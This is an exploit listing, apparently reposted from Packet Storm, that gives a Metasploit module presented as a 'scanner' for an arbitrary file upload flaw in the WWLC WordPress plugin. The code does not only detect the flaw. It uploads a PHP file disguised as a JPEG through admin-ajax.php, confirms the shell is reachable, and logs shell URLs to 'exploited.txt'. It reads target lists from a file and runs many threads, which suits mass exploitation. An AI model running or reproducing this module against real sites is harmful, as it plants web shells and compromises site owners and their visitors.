Share
## https://sploitus.com/exploit?id=PACKETSTORM:217188
=============================================================================================================================================
| # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://woocommerce.com/ |
=============================================================================================================================================
[+] Summary : This Metasploit auxiliary module scans WordPress websites for an arbitrary file upload vulnerability in the WWLC plugin. The module attempts to upload a
crafted PHP file through the vulnerable AJAX endpoint (admin-ajax.php) using the wwlc_file_upload_handler action.
If the upload is successful, the module verifies the uploaded file by sending a request to the generated file path in the WordPress uploads directory.
The scanner supports multi-threaded scanning, retry mechanisms,
and the ability to load target websites from a file for large-scale assessments.
Successful findings are logged locally and reported to the Metasploit database for further analysis.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WWLC File Upload Vulnerability Scanner',
'Description' => %q{
This module scans for WordPress WWLC plugin arbitrary file upload vulnerability.
It attempts to upload a PHP file and verify successful upload.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://example.com/wwlc-vulnerability' ]
],
'DisclosureDate' => '2026-03-13'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptPath.new('PAYLOAD_FILE', [true, 'PHP file to upload', '/path/to/404_protected.php']),
OptInt.new('THREADS', [true, 'Number of threads', 40]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10]),
OptInt.new('RETRIES', [true, 'Number of retries', 6]),
OptString.new('SITES_FILE', [false, 'File containing list of sites', 'kll.txt'])
]
)
register_advanced_options(
[
OptString.new('ALLOWED_FILE_TYPES', [true, 'Allowed file types', 'php,png,jpg']),
OptInt.new('MAX_FILE_SIZE', [true, 'Max allowed file size', 5000000])
]
)
end
def setup
@vuln_file = 'vuln.txt'
@bpvuln_file = 'exploited.txt'
[@bpvuln_file, @vuln_file].each do |f|
File.delete(f) if File.exist?(f)
end
if datastore['SITES_FILE'] && File.exist?(datastore['SITES_FILE'])
@sites_from_file = File.read(datastore['SITES_FILE']).split("\n").map(&:strip).reject(&:empty?)
else
@sites_from_file = []
end
end
def run_host(ip)
site = full_uri
check_vulnerability(site)
end
def run
if !@sites_from_file.empty?
print_status("Loaded #{@sites_from_file.size} sites from file")
scan_from_file
else
print_status("Starting scan...")
super
end
end
def scan_from_file
threads = []
queue = Queue.new
@sites_from_file.each { |site| queue << site }
thread_count = [datastore['THREADS'], queue.size].min
thread_count = 1 if thread_count < 1
thread_count.times do
threads << framework.threads.spawn("Module(#{refname})", false) do
until queue.empty?
site = queue.pop rescue nil
check_vulnerability(site) if site
end
end
end
threads.each(&:join)
end
def normalize_site(site)
site = site.strip
unless site.start_with?('http://', 'https://')
site = "http://#{site}"
end
site.chomp('/')
end
def check_vulnerability(site)
site = normalize_site(site)
print_status("Testing: #{site}")
retries = 0
while retries < datastore['RETRIES']
begin
parsed = URI.parse(site)
base = "#{parsed.scheme}://#{parsed.host}"
base += ":#{parsed.port}" unless [80,443].include?(parsed.port)
base_path = parsed.path.empty? ? '/' : parsed.path
ajax_url = normalize_uri(base_path, 'wp-admin', 'admin-ajax.php')
uploads_dir = normalize_uri(base_path, 'wp-content', 'uploads')
unless File.exist?(datastore['PAYLOAD_FILE'])
print_error("Payload file not found: #{datastore['PAYLOAD_FILE']}")
return
end
file_data = File.read(datastore['PAYLOAD_FILE'])
file_settings = {
'allowed_file_types' => datastore['ALLOWED_FILE_TYPES'].split(','),
'max_allowed_file_size' => datastore['MAX_FILE_SIZE']
}
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('wwlc_file_upload_handler', nil, nil, 'form-data; name="action"')
multipart_form.add_part(JSON.generate(file_settings), 'application/json', nil, 'form-data; name="file_settings"')
multipart_form.add_part(file_data, 'image/jpeg', nil, 'form-data; name="uploaded_file"; filename="404.php.jpg"')
res = send_request_cgi({
'method' => 'POST',
'uri' => ajax_url,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s,
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01'
}
}, datastore['TIMEOUT'])
if res && res.code == 200
begin
data = JSON.parse(res.body)
if data['status'] == 'success' && data['file_name']
filename = data['file_name']
shell_path = normalize_uri(uploads_dir, filename)
verify_res = send_request_cgi({
'method' => 'GET',
'uri' => shell_path
}, datastore['TIMEOUT'])
if verify_res && verify_res.code == 200
shell_url = "#{base}#{shell_path}"
print_good("#{site} -> #{shell_url}")
File.open(@bpvuln_file, 'a') { |f| f.puts(shell_url) }
File.open(@vuln_file, 'a') { |f| f.puts("#{base}#{uploads_dir}") }
report_vuln(
host: parsed.host,
port: parsed.port,
name: name,
refs: references,
info: "Uploaded shell: #{shell_url}"
)
return
end
end
rescue JSON::ParserError
end
end
print_status("Failed: #{site}")
break
rescue ::Rex::ConnectionError, ::Rex::TimeoutError
retries += 1
if retries < datastore['RETRIES']
print_status("Retry #{retries}/#{datastore['RETRIES']} for #{site}")
sleep(1)
else
print_error("Failed after retries: #{site}")
end
rescue => e
print_error("Error: #{site} - #{e.message}")
break
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================